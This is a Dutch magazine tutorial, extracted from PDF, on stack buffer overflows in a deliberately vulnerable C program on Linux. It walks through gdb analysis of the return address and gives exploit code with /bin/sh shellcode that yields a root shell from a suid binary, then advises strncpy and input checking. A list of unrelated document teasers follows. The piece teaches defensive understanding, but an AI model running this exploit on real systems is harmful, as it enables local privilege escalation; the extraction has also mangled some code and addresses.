Laat geen fouten staan

Maat: px
Weergave met pagina beginnen:

Download "Laat geen fouten staan"

Transcriptie

1 Stackoverflow Laat geen fouten staan Portscanners, sniffers, passwordcrackers en vele andere tools, ze zitten allemaal in de toolbox van een cracker. Maar wie zijn dan de personen die deze bruikbare tools maken? En hoe kunnen ze die exploits maken en aan wat voor fouten in de programmatuur moet je denken? In dit artikel wordt uitleg gegeven van de basis van alle programmeerfouten, en de wijze waarop je hiervoor een exploit schrijft. Mark Bergman, V rijwel iedereen heeft wel eens een applicatie gezien die onder Windows XP crasht (zie afbeelding 1). Zulke foutmeldingen zijn echter ook binnen een GNU/Linux omgeving aan te treffen, kijk bijvoorbeeld eens naar de output van een crashende GNU/Linux applicatie. $./hello world hello world $./hello abcdefghijklmnopqrstuvwxyz hello abcdefghijklmnopqrstuvwxyz Voor de crash in Windows is gebruik gemaakt van informatie omtrent het bekende en ondertussen enigszins oude CDDA lek in Winamp. Voor GNU/Linux (verder aangeduid als Linux) is voor het gemak een testprogramma geschreven. Dit programma wordt als voorbeeld gebruikt binnen dit artikel. Voor dit artikel is gebruik gemaakt van een Debian-installatie onder VMware. Geheugen Hieronder wordt de output van het commando uname getoond, deze geeft aan welke versie van Linux we gebruiken. Vervolgens Programma int main(int argc, char ** argv) char name[10]; if(argc!= 2) printf( usage: hello <name>\n ); exit(1); strcpy(name, argv[1]); printf( hello %s\n, name); return(0); Afbeelding 1... de output van het commando gcc v, deze geeft aan welke versie van gcc we gebruiken. $ uname -a Linux vmhack bf2.4 #1 Son Apr 14 09:53:28 CEST 2002 i686 unknown $ gcc -v Reading specs from /usr/lib/gcc-lib/i386-linux/2.95.4/ specs gcc version (Debian prerelease) Wanneer een programma niet goed met zijn geheugen omgaat, kan dit voor problemen zorgen. Het kan zo gebeuren dat een programma niet genoeg geheugen reserveert en daardoor ongewenste informatie overschrijft. Wanneer een functie binnen een programma is afgerond gaat het operating system op zoek naar de eerstvolgende uit te voeren instructie, deze staat ook in het geheugen van de computer. Wanneer een functie aangeroepen wordt, komt er een verwijzing op de stack te staan. Deze verwijzing bevat het adres waar het programma verder moet gaan wanneer de functie verlaten wordt. Deze wordt ook wel ret genoemd. Wat staat voor return adress. De stack is een gebied in het geheugen van een programma waarin data voor functies wordt gezet en waarin functie-aanroepen worden klaargezet. De stack is simpel qua opzet. Het 52

2 is een opstapeling van gegevens, wanneer de applicatie iets wegschrijft komt dit simpelweg na het vorige weggeschreven item op de stack te staan. Wanneer een functie wordt aangeroepen zet het operating system deze eerst in de stack waar het programma gebleven is. De ret wordt naar de stack geschreven. Ook wordt op de stack ruimte gereserveerd voor name, in ons geval wordt er voor name 10 bytes gereserveerd. Ter verduidelijking is in afbeelding 2 een schema te zien dat de stack weergeeft. In het schema zie je een pijl naar links. De stack groeit zoals men dat noemt naar beneden. Eerst wordt ret op de stack gezet (a,b en c zijn de waardes die als argument aan een functie mee worden gegeven) dan wordt de frame pointer weggeschreven, aangeduid als saved framepointer (sfp). De frampointer is een soort navigatiepunt op de stack. Vanuit de framepointer kan het operating system de variabelen op de stack bereiken. De oude framepointer wordt opgeslagen voor wanneer de functie afgerond is en de aanroepende functie zijn werk voort kan zetten. Deze heeft dan zijn eigen frame pointer weer nodig. Daarna worden 10 bytes gereserveerd onder de noemer name, later zetten we hier data in. Wat nu als de verwijzing die aangeeft waar de applicatie verder moet gaan nadat de uitgevoerde functie is veranderd en dan naar een ander adres wijst? Wat er dan gebeurt heb je net gezien. ret wordt op de een of andere manier veranderd waardoor het naar een stuk geheugen verwijst waar helemaal geen instructies staan. Het gevolg is dat het programma de weg kwijt is en crasht. Een simpel programma Om te beginnen wordt een simpel programma geschreven dat niet lijkt te crashen en zijn werk goed doet, zie het kader Programma. Compileer het programma als volgt: $ gcc./hello.c o hello Een C-programma begint met het draaien van de main() functie. De exacte werking van C wordt in dit artikel niet verder toegelicht. Mocht je toch wat meer basiskennis willen vergaren dan zou je de driedelige programmeerworkshop beginnend in Linux magazine Nummer 6 jaargang 3 er nog eens bij moeten pakken of het boek C handboek van Kernighan & Ritchie. Hieronder wordt de code die in het voorbeeld gebruikt wordt kort toegelicht.: if(argc!= 2) Programma 2 int main(int argc, char ** argv) char name[128]; if(argc!= 2) printf( usage: hello <name>\n ); exit(1); strcpy(name, argv[1]); printf( hello %s\n, name); return(0); Deze if-conditie gaat na of tenminste 1 argument is meegegeven; Het eerste argument wordt aangeduid met argv[0], wat staat voor het eerste item in de argv array, dit is het commando, oftewel de naam van de applicatie. Het tweede argument, argv[1], staat dan vanzelfsprekend voor het tweede argument en is het eerste argument dat wij aan het commando meegeven. strcpy(name, argv[1]); Deze functie kopieert de inhoud van het door ons meegegeven argument naar name. Vervolgens wordt onderstaande functie gebruikt om het op het scherm te printen. printf( hello %s\n, name); Hierbij moet opgemerkt worden dat er slechts 10 tekens gereserveerd zijn voor name. Met andere woorden, name is een array van name[0] tot name[9]. Hieronder wordt het programma eerst naar behoren uitgevoerd zodat zichtbaar wordt dat het werkt. Vervolgens wordt het programma nog een keer uitgevoerd, deze keer echter met te veel input waardoor het programma crasht. $./hello world hello world $./hello abcdefghijklmnopqrstuvwxyz hello abcdefghijklmnopqrstuvwxyz note: als je de melding krijgt Segmentation fault maar zonder de (core dumped) voer dan onderstaand commando uit: $ ulimit -c unlimited note: Verzeker je ervan dat je niet als root aan het werk bent. Afbeelding 2... Uitleg van de crash De crash die zojuist plaatsvond is te verklaren. Hiertoe is het 53

3 Core was generated by `./hello AAAABBBBCCCCD DDDEEEE. Program terminated with signal 11, Segmentation fault. #0 0x in?? () Afbeelding 3... Afbeelding 4... belangrijk twee vragen te beantwoorden. Waarom ging er hier iets fout? En nog belangrijker, hoe kunnen we er ons voordeel doen? Het schema in afbeelding 3 geeft de inhoud van de stack weer na het kopiëren van de string naar de array name[]. In deze situatie zijn sfp, ret, a en b ook gevuld. Om het niet te complex te maken is dit niet in het schema meegenomen. De getallen staan er puur ter verduidelijking, \0 staat voor een null-byte. Daarmee wordt in C een string afgesloten, deze is 1 byte groot maar wordt vaak aangeduid met \0 (ook wel als 0x00) omdat de null-byte een niet te printen teken is. In afbeelding 4 staat een schema van hoe de stack er uit zou kunnen zien tijdens het draaien van het eerder geschreven programma. In dit geval heeft het programma abcdefghijklmnopqrstuvwxyz als argument mee gekregen. Zoals je ziet is ret hier overschreven. Op het moment dat het programma de functie return() uitvoert zal hij de code op adres opqr gaan uitvoeren. Natuurlijk is dit niet de juiste notatie van een adres en is het ook geen zinnig adres. Nu moet uitgezocht worden welke 4 tekens eigenlijk precies over ret heen komen te staan. $./hello AAAABBBBCCCCDDDDEEEE hello AAAABBBBCCCCDDDDEEEE Het vinden van ret op de stack De logische verwachting is dat dit BBBB zou zijn. Er zijn namelijk 10 bytes gevuld met getallen, dan 4 A s (waar sfp verwacht wordt) en vervolgens 4 B s die ret zouden moeten overschrijven. Met gdb (de GNU debugger) is het mogelijk de geheugendump van een gecrasht programma te bekijken. $ gdb./hello core GNU gdb cvs Copyright 2002 Free Software Foundation, Inc. Het programma is gecrasht op adres 0x Dat is het adres waar het programma zijn eerstvolgende instructie zoekt en niet vindt. In de ASCII-tabel is te zien dat 42 staat voor B en 43 staat voor C. Dit is niet als verwacht, als het programma inderdaad naar BBBB zou springen zou 0x als crash locatie getoond worden. De oorzaak hiervan is zogeheten padding waarbij alles naar boven afgerond wordt op 4 bytes. Als we gaan tellen zien we dat het adres opgebouwd wordt uit de tekens name[16], name[17], name[18], name[19]. Afhankelijk van de versie van GCC en van Linux kan dit verschillen, bovendien zal er 12 bytes voor name[], 4 bytes voor sfp. Dan klopt de berekening weer en is ret te vinden op de 17e tot de 20e plaats in name[]. (aangezien een array bij name[0] begint is dit dus in name[16] tot name[19]). $./hello AAAABBBBCC hello AAAABBBBCCCCDDDDEEEE Als ret wordt voorzien van een ASCII-string die gelezen wordt als een adres waar onze eigen code staat, kunnen we het programma onze code laten uitvoeren. Exploit #include <stdio.h> main() char buffer[512]; /* meer dan genoeg */ memset(buffer, A,512); /* vullen met A */ /*nu op de juiste posities een testadres zodat we dit herkennen*/ buffer[132] = 0x46; buffer[133] = 0x47; buffer[134] = 0x48; buffer[135] = 0x49; buffer[136] = 0x00; /* Meer hebben we niet nodig. We plaatsen een NULL byte om de string af te sluiten*/ /*nu het programma aanroepen met dit als argumenten*/ /* slordig gebruik van execl, lees de manualpage en los het netjes op*/execl(./hello, hello,buffer,null); 54

4 Kader gdb x/164 $esp 0xbffffcf4: 0x xbffffd54 0xbffffd60 0x xbffffe14: 0x x x x xbffffe24: 0x x x x6c6c6568 0xbffffe34: 0x f 0x x x xbffffe44: 0x x x x xbffffe54: 0x x x x xbffffea4: 0x x x x xbffffeb4: 0x x x x2f3d4457 0xbffffec4: 0x656d6f68 0x f 0x2f x6b xbfffff64: 0x2f656d6f 0x x x3d4d5245 0xbfffff74: 0x x d 0x2f3d4854 0x2f Referenties C handbook Auteur: Uitgeverij: ISBN Kernighan & Ritchie Smashing the stack for fun and Profit Hiertoe moet een stuk geheugen gezocht worden waarin we onze code plaatsen. Vervolgens moet het adres van dit stuk geheugen opgezocht worden om de zojuist geplaatste code terug te vinden. Om het artikel enigszins begrijpelijk te houden zal het testprogramma een beetje aangepast moeten worden. De lengte van name[10] wordt vervangen door name[128], in die extra ruimte kan de gewenste code geplaatst worden. Het is ook mogelijk om de controle over te nemen als name maar 10 bytes is, hiervoor zijn echter wat aanvullende technieken nodig en daarom een nieuw programma, zie kader Programma 2. Compileer het programma opnieuw. Dit programma zal crashen als er meer dan 128 tekens meegegeven worden. $./hello AAAAAAAAAA......AAAAAAAAAAAAAAAAAAA hello AAAAAAAAAAAA......AAAAAAAAAAAAAAAAAAAA $ Met wat command line Perl (een veelgebruikte platformonafhankelijke scripttaal) kunnen we de input karakters genereren om ze niet alle 128 te hoeven intypen en tellen. $./hello `perl -e printf( A x128); `BBBBCCCC hello AAAAAAAAAAA......AAAAAAAAABBBBCCCC $ Hier wordt de array name[] met precies 128 bytes overschreven en voegen we er nog 8 voor ons herkenbare bytes aan toe. Nu kan met gdb bekeken worden welke karakters als return adres worden gelezen. $ gdb./hello core GNU gdb cvs Copyright 2002 Free Software Foundation, Inc. Core was generated by `./hello AAAAAAAA......AAAAAAAAA. #0 0x in?? () Hier is te zien dat het programma zijn volgende instructies zoekt op 0x , dit is de locatie die ontstaat als je CCCC als adres leest. name[0] tot name[127] is hier gevuld met A s. daarna name[128] tot name[131] met B s en positie name[132] tot name[135] met C s. Deze laatste moet het door ons gewenste adres gaan bevatten. Schrijven van de exploit Met deze informatie kan een exploit geschreven worden, In het kader Exploit is de code hiervan te vinden. In de code is zoveel mogelijk commentaar aangebracht om de code leesbaar en begrijpelijk te maken. Met gdb is nog even snel te kijken of het werkt en of het geplaatste adres inderdaad op de juiste posities terecht komt. $ gdb./hello core GNU gdb cvs Copyright 2002 Free Software Foundation, Inc. Core was generated by `hello AAAAAAAA......AAAAAAAAAAAA. #0 0x in?? () Zoals hierboven te zien is (in de vet gedrukte tekst) staat het adres inderdaad op de juiste plek. Merk op dat het adres in het bovenstaande figuur achterstevoren staat. Als straks het gewenste adres in de code opgenomen wordt, zal dit dus ook omgedraaid moeten worden om het correct in het geheugen te kunnen plaatsen. Het adres dat nu op de stack staat is echter een tijdelijk adres, op deze locatie staan geen zinnige instruc- 55

5 Exploit 2 #include <stdio.h> /* shellcode die zorgt voor een /bin/sh shell */ char code[] = \x31\xc0\x31\xdb\xb0\x17\xcd\x80 \x31\xc0\x99\x50\x68\x6e\x2f\x73 \x68\x68\x2f\x2f\x62\x69\x89\xe3 \x50\x53\x89\xe1\xb0\x0b\xcd\x80 ; main() char buffer[512]; /* meer dan genoeg */ memset(buffer,0x90,512); /* vullen met NOPS 0x90 */ /* copy the shellcode in the string starting at position 50*/ memcpy( buffer+50, code, strlen(code)); /*nu op de juiste posities het gevonden adres*/ buffer[132] = 0x44; buffer[133] = 0xfe; buffer[134] = 0xff; buffer[135] = 0xbf; buffer[136] = 0x00; execl(./hello, hello,buffer,null); ties. Het gewenste adres is ergens in het begin van de lange reeks A s daar zullen we straks een zogeheten shell-code neer gaan zetten. Een shell-code is een tekstuele string die staat voor een reeks uitvoerbare instructies. Met gdb kan een stuk van de stack bekeken worden met het commando x/168 $esp. De 168 geeft het aantal weergegeven bytes aan. Type in gdb help x/ voor meer informatie (zie kader gdb). Vet gedrukt is eerst het commando te zien waarmee we een deel van de stack op het scherm zetten. De volgende vet gedrukte tekst (0xbffffe44) is het return adres dat gebruikt zal gaan worden. Het wijst namelijk ergens in het begin van de reeks A karakters. Deze reeks A s wordt vervangen door 0x90 tekens. Ook wel NOP s (no operation points) genoemd. Het programma zal hier niets doen maar gewoon de volgende instructie lezen. Hierdoor hoeft het programma niet precies naar het begin van onze code te springen maar ergens in de reeks NOP s. Hier middenin wordt een ASCII string geplaatst die de commando s bevat om een /bin/sh Shell te starten. De vetgedrukte 4746 en 4948 zijn de huidige ret die net geplaatst zijn. Op het internet zijn vele papers te vinden over hoe je zelf je eigen shell-code kunt schrijven. Hiervoor is een basiskennis assembly vereist, dat is ook de reden dat het in dit korte artikel niet uitgelegd wordt. Er zijn op het internet veel bruikbare shellcodes te vinden. Natuurlijk is het wel raadzaam hier zelf ook eens in te duiken. In het kader Exploit 2 is de code van de geschreven exploit te zien, de vet gedrukte delen zijn de gemaakte aanpassingen. Als deze exploit opnieuw gecompileerd en gedraaid wordt, levert dat onderstaande output op. $ gcc./exploit.c -o exploit $./exploit hello 1À1Û Í1ÀPhn/shh//biãPSá ÍDþÿ sh-2.05a$ Er is een /bin/sh shell gestart! Dit levert op dit moment geen voordelen op, de shell is niet gestart met extra rechten, er zijn echter applicaties die een zogeheten suid bit hebben. De applicatie draait dan als de eigenaar van het bestand. Om dit te illustreren geven we hello de permissies van root zodat het proces altijd als root draait. We moeten ervoor zorgen dat root eigenaar wordt en dat het suid bit gezet is. $ ls -las./hello 8 -rwxr-xr-x 1 mark mark 5085 Dec 9 08:00./hello $ su Password: # chown root./hello # chmod +s./hello # exit exit $ ls -las./hello 8 -rwsr-sr-x 1 root mark 5085 Dec 9 08:00./hello $ Aan de s in -rwsr-sr-x is te zien dat het programma draait met de rechten van gebruiker root en group mark. Wanneer de exploit nu nogmaals wordt gedraaid, belanden we in een Shell die draait met de rechten van root! $ whoami mark $./exploit hello 1À1Û Í1ÀPhn/shh//biãPSá ÍDþÿ sh-2.05a# whoami root sh-2.05a# Voorkomen Hoe kunnen soortgelijke fouten voorkomen worden. Dit is vooral een kwestie van het nooit doen van aannames! Ga er altijd vanuit dat iemand te veel of vreemde input aan een applicatie kan, wil en zal geven. Met andere woorden, zorg dat je het geheugen in je programma goed beheerst. In dit geval had het probleem voorkomen kunnen worden door in plaats van een strcpy() de strncpy() functie juist te gebruiken waarin de maximaal te kopiëren lengte opgegeven kan worden. Het is dus van groot belang dat programmatuur erg strikt is bij het controleren van zijn input en dat deze controles op de juiste plaats binnen de applicatie plaats vinden. Naast de stack overflow zijn er nog een groot aantal technieken voorhanden. Zoek voor een aantal extra technieken eens op het internet naar: Heap overflow, race conditions, Double free of format string vulnerabilities. 56

6 57

Demo document template available on the Rapptorlab website

Demo document template available on the Rapptorlab website Proef ingediend met het oog op het behalen van de graad van bachelor in de Ingenieurswetenschappen Demo document template available on the Rapptorlab website Course/thesis example Laurent Segers, Tom van

Nadere informatie

Debugging in embedded en native systemen met GDB

Debugging in embedded en native systemen met GDB Debugging in embedded en native systemen met GDB A.M. ten Doesschate July 15, 2015 Abstract Een korte beschrijving : intro gebruik met welke tools en hulpmiddelen van de GDB setup en een summier aantal

Nadere informatie

Grafisch programmeren met GTK

Grafisch programmeren met GTK LinuxFocus article number 295 http://linuxfocus.org Grafisch programmeren met GTK door Özcan Güngör Over de auteur: Sinds 1997 gebruik ik Linux. Vrijheid, flexibiliteit en

Nadere informatie

Oefententamen 2. Tijd: 2 uur. Maximaal aantal punten: 30. Naam: Studentnummer:

Oefententamen 2. Tijd: 2 uur. Maximaal aantal punten: 30. Naam: Studentnummer: Oefententamen 2 C Naam: Studentnummer: Tijd: 2 uur Maximaal aantal punten: 30 Menselijke compiler (10 punten) 0. (1 punt) Stel, je haalt het tentamen als je tenminste een 5.5 gemiddeld hebt gehaald voor

Nadere informatie

Jörg R. Hörandel Afdeling Sterrenkunde.

Jörg R. Hörandel Afdeling Sterrenkunde. Jörg R. Hörandel Afdeling Sterrenkunde http://particle.astro.ru.nl/goto.html?prog1213 1 Alle mensen moeten op blackboard ingeschreven zijn! 2 http://particle.astro.ru.nl/goto.html?prog1213 3 eindcijfer:

Nadere informatie

Een typisch programma in C en C++ bestaat uit een aantal onderdelen:

Een typisch programma in C en C++ bestaat uit een aantal onderdelen: Eerste stappen in C. Een typisch programma in C en C++ bestaat uit een aantal onderdelen: /* Alles wat op meerdere lijnen staat zoals hier is commentaar. */ // Dit is commentaar op 1 lijn. Geldig tot einde

Nadere informatie

Inhoud. A Eskwadraat Linuxcursus UNIX. GNU/Linux. Slackware. Red Hat. GNU/Linux Bestanden Thuiswerken Shell Editors Opdracht.

Inhoud. A Eskwadraat Linuxcursus UNIX. GNU/Linux. Slackware. Red Hat. GNU/Linux Bestanden Thuiswerken Shell Editors Opdracht. Inhoud A Eskwadraat Linuxcursus Jitse Klomp Sysop 10 december 2013 GNU/Linux Bestanden Thuiswerken Shell Editors Opdracht Deze presentatie is terug te vinden op home.a-eskwadraat.nl/~sysop/linuxcursus2013/

Nadere informatie

Online c++ leren programmeren:

Online c++ leren programmeren: Online c++ leren programmeren: Inhoud 1)Waar vind ik een c++ compiler?... 2 2)Hoe start ik een programma in c++?... 2 3)Een eerste c++ programma:... 3 Een eerste programma schrijven:... 3 Mijn eerste programma

Nadere informatie

Teamhandleiding DOMjudge (versie 2.2.0muKP) 31 mei 2008

Teamhandleiding DOMjudge (versie 2.2.0muKP) 31 mei 2008 judge Teamhandleiding DOMjudge (versie..0mukp) 31 mei 008 /\ DOM DOM judge Inhoudsopgave 1 Inleiding Samenvatting.1 Inlezen en wegschrijven............................... Insturen van oplossingen...............................3

Nadere informatie

Het handboek van KDE su. Geert Jansen Vertaling van het handboek: Niels Reedijk Vertaler/Nalezer: Rinse de Vries

Het handboek van KDE su. Geert Jansen Vertaling van het handboek: Niels Reedijk Vertaler/Nalezer: Rinse de Vries Geert Jansen Vertaling van het handboek: Niels Reedijk Vertaler/Nalezer: Rinse de Vries 2 Inhoudsopgave 1 Inleiding 5 2 KDE su gebruiken 6 3 Onder de motorkap 8 3.1 X-authenticatie.......................................

Nadere informatie

Pascal uitgediept Data structuren

Pascal uitgediept Data structuren Pascal uitgediept Data structuren MSX Computer & Club Magazine nummer 68-juni/juli 1994 Herman Post Scanned, ocr ed and converted to PDF by HansO, 2001 In deze aflevering wordt bekeken hoe zelf een datastructuur

Nadere informatie

continue in een for, while of do lus herhaalt de lus vroegtijdig. De volgende herhaling wordt onmiddellijk begonnen.

continue in een for, while of do lus herhaalt de lus vroegtijdig. De volgende herhaling wordt onmiddellijk begonnen. Hoofdstuk 3: controlestructuren instructies en blokken Naar elke instructie staat een ; Instructies worden door de haakjes {} in een block samengevat. if else if ( expression) statement1; else statement2;

Nadere informatie

Lineaire data structuren. Doorlopen van een lijst

Lineaire data structuren. Doorlopen van een lijst Lineaire data structuren array: vast aantal data items die aaneensluitend gestockeerd zijn de elementen zijn bereikbaar via een index lijst: een aantal individuele elementen die met elkaar gelinkt zijn

Nadere informatie

PROS1E1 Handleiding ( ) Kf/Dd/Bd

PROS1E1 Handleiding ( ) Kf/Dd/Bd 1 Inleiding De eerste oefening In deze eerste oefening wordt het voorbeeld 2-1 van bladzijde 11 uit het boek De taal C van PSD tot C-programma (enigszins aangepast) ingevoerd in de computer. Tevens wordt

Nadere informatie

Objective-C Basis. 23 april 2005, Eindhoven Patrick Machielse

Objective-C Basis. 23 april 2005, Eindhoven Patrick Machielse Objective-C Basis 23 april 2005, Eindhoven Patrick Machielse patrick@hieper.nl Algemeen // extensies Objective-C code in bestanden met.m extensie // commentaar moet! /* Alles hiertussen wordt genegeerd

Nadere informatie

EE1400: Programmeren in C BSc. EE, 1e jaar, , 4e college

EE1400: Programmeren in C BSc. EE, 1e jaar, , 4e college EE1400: Programmeren in C BSc. EE, 1e jaar, 2012-2013, 4e college Arjan van Genderen, Computer Engineering 11-12-2012 Delft University of Technology Challenge the future Mededelingen Voortgangstoets: Woensdagmiddag

Nadere informatie

HANDLEIDING PROGRAMMEREN IN PASCAL (LAZARUS)

HANDLEIDING PROGRAMMEREN IN PASCAL (LAZARUS) HANDLEIDING PROGRAMMEREN IN PASCAL (LAZARUS) Vereiste voorkennis Voldoende kennis van het besturingssysteem (in deze handleiding wordt uitgegaan van Windows) De basisprincipes van programmeren Vereiste

Nadere informatie

Bestand: /home/karel/scripts/mkusb Pagina 1 van 6

Bestand: /home/karel/scripts/mkusb Pagina 1 van 6 Bestand: /home/karel/scripts/mkusb Pagina 1 van 6 1 #!/bin/bash 2 ############################################################################# 3 # Bestand: mkusb # 4 # Doel: Script voor het maken van

Nadere informatie

Functioneel programmeren

Functioneel programmeren Functioneel programmeren Practicumopgave 2: Mastermind Het doel van deze opgave is het implementeren van het spel Mastermind; zie http://nl.wikipedia.org/wiki/mastermind voor een uitleg. Het spel is klein

Nadere informatie

DOMjudge teamhandleiding

DOMjudge teamhandleiding judge DOMjudge teamhandleiding Samenvatting /\ DOM DOM judge Hieronder staat de belangrijkste informatie kort samengevat. Dit is bedoeld om snel aan de slag te kunnen. We raden echter ten zeerste aan dat

Nadere informatie

Een spoedcursus python

Een spoedcursus python Een spoedcursus python Zoals je in de titel misschien al gezien hebt, geven wij een spoedcursus Python. Door deze cursus leer je alle basics, zoals het rekenen met Python en het gebruik van strings. Het

Nadere informatie

Dynamiek met VO-Script

Dynamiek met VO-Script Dynamiek met VO-Script Door Bert Dingemans DLA Ontwerp & Software bert@dla-architect.nl Inleiding Op de SDGN nieuwsgroep voor Visual Objects ontstond laatst een draad van berichten over de nieuwe libraries

Nadere informatie

Xiris handleiding Onderhoudsmodule & database onderhoud

Xiris handleiding Onderhoudsmodule & database onderhoud Xiris handleiding Onderhoudsmodule & database onderhoud Copyright 2011 FP-Ruys. FP-Ruys kan geen aansprakelijkheid aanvaarden voor schade die het gevolg is van enig fout in deze handleiding of verkeerd

Nadere informatie

In de tweede regel plaatsen we in het gereserveerde stukje geheugen een getal.

In de tweede regel plaatsen we in het gereserveerde stukje geheugen een getal. 4. Array s Een array is een geïndexeerde variabele. Deze zin zal de nodig vragen oproepen, waarop enige uitleg van toepassing is. Met variabelen hebben we al kennis gemaakt. In een variabele kun je iets

Nadere informatie

Tentamen Computersystemen

Tentamen Computersystemen Tentamen Computersystemen baicosy6 2e jaar bachelor AI, 2e semester 21 oktober 213, 9u-11u OMHP D.9 vraag 1 Van een Single Cycle Harvard machine hebben de componenten de volgende propagation delay time:

Nadere informatie

Project Software Engineering XML parser: Parsen van een xml CD catalogus

Project Software Engineering XML parser: Parsen van een xml CD catalogus Project Software Engineering XML parser: Parsen van een xml CD catalogus Brent van Bladel brent.vanbladel@uantwerpen.be February 16, 2017 XML (Extensible Markup Language) is een taal waarmee we op een

Nadere informatie

Dynamisch geheugen beheer

Dynamisch geheugen beheer Dynamisch geheugen beheer + Normaal wordt laats in het werkgeheugen gereserveerd tijdens de comilatie aan de hand van de declaraties van de variabelen. + Deze geheugenreservering is statisch: in het bronbestand

Nadere informatie

Les drie. Vormen van data in AutoLISP

Les drie. Vormen van data in AutoLISP Les drie Vormen van data in AutoLISP Functies en variabelen door Joop F. Moelee een gelovig volger van de Sacrale Kunst van Luiheid zijn Hoge Priester LISP en Acoliet Script Copyright 2004 by Joop F. Moelee

Nadere informatie

PROS1E1 Gestructureerd programmeren in C Dd/Kf/Bd

PROS1E1 Gestructureerd programmeren in C Dd/Kf/Bd Inhoudsopgave 1 Inleiding... 1 2 Toekenning- en herhalingsopdrachten (for loop)... 2 2.1 De wet van Ohm... 3 2.2 De spaarrekening... 3 2.3 De transformator... 3 3 Keuze- en herhalingsopdrachten (if, switch,

Nadere informatie

Linux Assembly Uitwerkingen van de vragen en opdrachten

Linux Assembly Uitwerkingen van de vragen en opdrachten Linux Assembly Uitwerkingen van de vragen en opdrachten The choice of a GNU generation Hoofdstuk 3 1. (a) Een system call is een functie geleverd door de kernel (het operating system, een interface tussen

Nadere informatie

Jörg R. Hörandel Afdeling Sterrenkunde

Jörg R. Hörandel Afdeling Sterrenkunde Jörg R. Hörandel Afdeling Sterrenkunde http://particle.astro.ru.nl/goto.html?prog1415 1 Jörg R. Hörandel Afdeling Sterrenkunde http://particle.astro.ru.nl/goto.html?prog1415 2 Alle studenten moeten op

Nadere informatie

Tentamen Programmeren in C (EE1400)

Tentamen Programmeren in C (EE1400) TU Delft Tentamen Programmeren in C (EE1400) 3 feb. 2012, 9.00 12.00 Faculteit EWI - Zet op elk antwoordblad je naam en studienummer. - Beantwoord alle vragen zo nauwkeurig mogelijk. - Wanneer C code gevraagd

Nadere informatie

EE1400: Programmeren in C BSc. EE, 1e jaar, , 3e college

EE1400: Programmeren in C BSc. EE, 1e jaar, , 3e college EE1400: Programmeren in C BSc. EE, 1e jaar, 2012-201, e college Arjan van Genderen, Computer Engineering 4-12-2012 Delft University of Technology Challenge the future Hoorcollege Arrays, Pointers en Strings

Nadere informatie

Formulieren maken met Dreamweaver CS 4/CS 5

Formulieren maken met Dreamweaver CS 4/CS 5 Formulieren maken met Dreamweaver CS 4/CS 5 In deze handleiding leer je om een formulier en elementen die je binnen een formulier kunt gebruiken, te ontwerpen met Dreamweaver. Het uitgangspunt is dat dit

Nadere informatie

MINICURSUS PHP. Op dit lesmateriaal is een Creative Commons licentie van toepassing Sebastiaan Franken en Rosalie de Klerk Bambara

MINICURSUS PHP. Op dit lesmateriaal is een Creative Commons licentie van toepassing Sebastiaan Franken en Rosalie de Klerk Bambara MINICURSUS PHP Op dit lesmateriaal is een Creative Commons licentie van toepassing. 2017-2018 Sebastiaan Franken en Rosalie de Klerk Bambara PHP Cursus Deze cursus is om de eerste stappen in de wereld

Nadere informatie

Bestand: /home/karel/scripts/nas Pagina 1 van 8

Bestand: /home/karel/scripts/nas Pagina 1 van 8 Bestand: /home/karel/scripts/nas Pagina 1 van 8 1 #!/bin/bash 2 ############################################################################# 3 # Bestand: nas # 4 # Doel: Script voor het aankoppelen van

Nadere informatie

Tentamen Programmeren in C (EE1400)

Tentamen Programmeren in C (EE1400) TU Delft Tentamen Programmeren in C (EE1400) 5 april 2012, 9.00 12.00 Faculteit EWI - Zet op elk antwoordblad je naam en studienummer. - Beantwoord alle vragen zo nauwkeurig mogelijk. - Wanneer C code

Nadere informatie

Accelerometer project 2010 Microcontroller printje op basis van de NXP-LPC2368

Accelerometer project 2010 Microcontroller printje op basis van de NXP-LPC2368 Accelerometer project 2010 Microcontroller printje op basis van de NXP-LPC2368 Handleiding bij het gebruik van een microcontroller in het Accelerometerproject (Project II) Er zijn speciaal voor het Accelerometerproject

Nadere informatie

Installatie Software - Opdrachten Les 2

Installatie Software - Opdrachten Les 2 Installatie Software - Opdrachten Les 2 ROC van Amsterdam Gooi en Vechtstreek Naam: Klas: Datum: 2010 Jansn 1 van 11 is een operating system dat ten grondslag ligt aan de verschillende versies van Windows.

Nadere informatie

Examen Programmeren 2e Bachelor Elektrotechniek en Computerwetenschappen Faculteit Ingenieurswetenschappen Academiejaar juni, 2010

Examen Programmeren 2e Bachelor Elektrotechniek en Computerwetenschappen Faculteit Ingenieurswetenschappen Academiejaar juni, 2010 Examen Programmeren 2e Bachelor Elektrotechniek en Computerwetenschappen Faculteit Ingenieurswetenschappen Academiejaar 2009-2010 16 juni, 2010 **BELANGRIJK** 1. Schrijf je naam onderaan op elk blad. 2.

Nadere informatie

Instructies en blokken

Instructies en blokken Herhaling 1 Instructies en blokken 2 Naar elke instructie staat een ; puntkomma Verschillende instructies worden door de accolades in een block samengevat. Een blok is het zelfde als een enkele instructie.

Nadere informatie

Hoofdstuk 7. Computerarchitectuur

Hoofdstuk 7. Computerarchitectuur Hoofdstuk 7 Computerarchitectuur 1 controlebus CPU MEMORY I/O databus adresbus Figuur 71 Schematische opbouw van een computersysteem 8 Figuur 72 Een busverbinding Buslijn Out E A In Out E B In Out E C

Nadere informatie

4EE11 Project Programmeren voor W. College 2, , Blok D Tom Verhoeff, Software Engineering & Technology, TU/e

4EE11 Project Programmeren voor W. College 2, , Blok D Tom Verhoeff, Software Engineering & Technology, TU/e 4EE11 Project Programmeren voor W College 2, 2008 2009, Blok D Tom Verhoeff, Software Engineering & Technology, TU/e 1 Onderwerpen Terugblik Functies Organisatie (architectuur) van programma s Arrays Structuren

Nadere informatie

Chris de Kok 223548 TDI 3. Vak: Software Architectuur Datum: 21-01-2008 Docent: Fons van Kesteren

Chris de Kok 223548 TDI 3. Vak: Software Architectuur Datum: 21-01-2008 Docent: Fons van Kesteren Chris de Kok 223548 TDI 3 Vak: Software Architectuur Datum: 21-01-2008 Docent: Fons van Kesteren Inhoud Inleiding... 3 Black box / White box... 3 XP... 3 SimpleTest... 3 Eclipse plugin... 4 GroupTest...

Nadere informatie

Korte uitleg: Wie mag wat met welk bestand

Korte uitleg: Wie mag wat met welk bestand Korte uitleg: Wie mag wat met welk bestand Zoals in Korte uitleg: Directories, meta-data van bestanden, inodes beschreven zit er bij de meta-data van een bestand in de inode van dat bestand een aantal

Nadere informatie

De Arduino-microcontroller in de motorvoertuigentechniek (6)

